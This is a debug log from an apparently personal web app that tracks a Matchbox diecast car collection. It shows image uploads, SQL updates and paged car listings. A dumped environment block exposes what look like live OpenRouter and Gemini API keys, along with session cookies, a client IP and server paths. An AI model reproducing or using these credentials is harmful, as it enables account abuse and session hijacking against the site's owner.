  rel: 'assets/images/diecast/Screenshot_2026-02-04_105250_dab0d508-0cab-4b47-873d-f014eab8fbfd.jpg'
}
2026-02-04T06:47:32.469Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105250_dab0d508-0cab-4b47-873d-f014eab8fbfd.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105250_dab0d508-0cab-4b47-873d-f014eab8fbfd.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105250_dab0d508-0cab-4b47-873d-f014eab8fbfd.jpg',
    type: 'image/jpeg',
    size: 104510
  }
]
2026-02-04T06:47:32.469Z server-connect:app Executing action step repeat
2026-02-04T06:47:32.469Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:47:32.469Z server-connect:app Executing action step insert
2026-02-04T06:47:32.469Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:47:32.470Z server-connect:output images: { affected: 1, identity: 178 }
2026-02-04T06:47:32.470Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:47:32.470Z server-connect:output condition: undefined
2026-02-04T06:47:32.729Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:47:32.729Z server-connect:app Executing action step identify
2026-02-04T06:47:32.729Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:32.729Z server-connect:output identity: 1
2026-02-04T06:47:32.729Z server-connect:app Executing action step restrict
2026-02-04T06:47:32.729Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:32.729Z server-connect:output restrict: undefined
2026-02-04T06:47:32.729Z server-connect:app Executing action step paged
2026-02-04T06:47:32.730Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:47:32.732Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:47:32.980Z server-connect:router Serving templateView /
2026-02-04T06:47:32.981Z server-connect:app Executing action step identify
2026-02-04T06:47:32.981Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:32.981Z server-connect:output identity: 1
2026-02-04T06:47:32.981Z server-connect:app Executing action step restrict
2026-02-04T06:47:32.981Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:32.981Z server-connect:output restrict: undefined
2026-02-04T06:47:32.981Z server-connect:app Executing action step restrict
2026-02-04T06:47:32.981Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:32.981Z server-connect:output restrict: undefined
2026-02-04T06:47:32.982Z server-connect:router Render template layouts/main
2026-02-04T06:47:32.982Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:47:40.235Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:47:40.236Z server-connect:app Executing action step identify
2026-02-04T06:47:40.236Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:40.236Z server-connect:output identity: 1
2026-02-04T06:47:40.236Z server-connect:app Executing action step restrict
2026-02-04T06:47:40.236Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:40.236Z server-connect:output restrict: undefined
2026-02-04T06:47:40.236Z server-connect:app Executing action step condition
2026-02-04T06:47:40.236Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:47:40.236Z server-connect:app Executing action step update
2026-02-04T06:47:40.237Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:47:40.237Z server-connect:output update: { affected: 1 }
2026-02-04T06:47:40.237Z server-connect:app Executing action step upload
2026-02-04T06:47:40.237Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:47:40.237Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:47:40.237Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:47:40.237Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105233.jpg',
  data: <Buffer >,
  size: 103791,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-28-20378841770187660235',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '98858b39049fe72c5d5c8208c3f09403',
  mv: [Function: mv]
}
2026-02-04T06:47:40.238Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105233_bbf7dfde-75dc-4a2f-a7af-9bc33a705ae8.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105233_bbf7dfde-75dc-4a2f-a7af-9bc33a705ae8.jpg'
}
2026-02-04T06:47:40.238Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105233_bbf7dfde-75dc-4a2f-a7af-9bc33a705ae8.jpg',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105233_bbf7dfde-75dc-4a2f-a7af-9bc33a705ae8.jpg'
}
2026-02-04T06:47:40.238Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105233_bbf7dfde-75dc-4a2f-a7af-9bc33a705ae8.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105233_bbf7dfde-75dc-4a2f-a7af-9bc33a705ae8.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105233_bbf7dfde-75dc-4a2f-a7af-9bc33a705ae8.jpg',
    type: 'image/jpeg',
    size: 103791
  }
]
2026-02-04T06:47:40.238Z server-connect:app Executing action step repeat
2026-02-04T06:47:40.238Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:47:40.238Z server-connect:app Executing action step insert
2026-02-04T06:47:40.238Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:47:40.238Z server-connect:output images: { affected: 1, identity: 179 }
2026-02-04T06:47:40.238Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:47:40.238Z server-connect:output condition: undefined
2026-02-04T06:47:40.499Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:47:40.499Z server-connect:app Executing action step identify
2026-02-04T06:47:40.499Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:40.499Z server-connect:output identity: 1
2026-02-04T06:47:40.499Z server-connect:app Executing action step restrict
2026-02-04T06:47:40.499Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:40.500Z server-connect:output restrict: undefined
2026-02-04T06:47:40.500Z server-connect:app Executing action step paged
2026-02-04T06:47:40.500Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:47:40.503Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
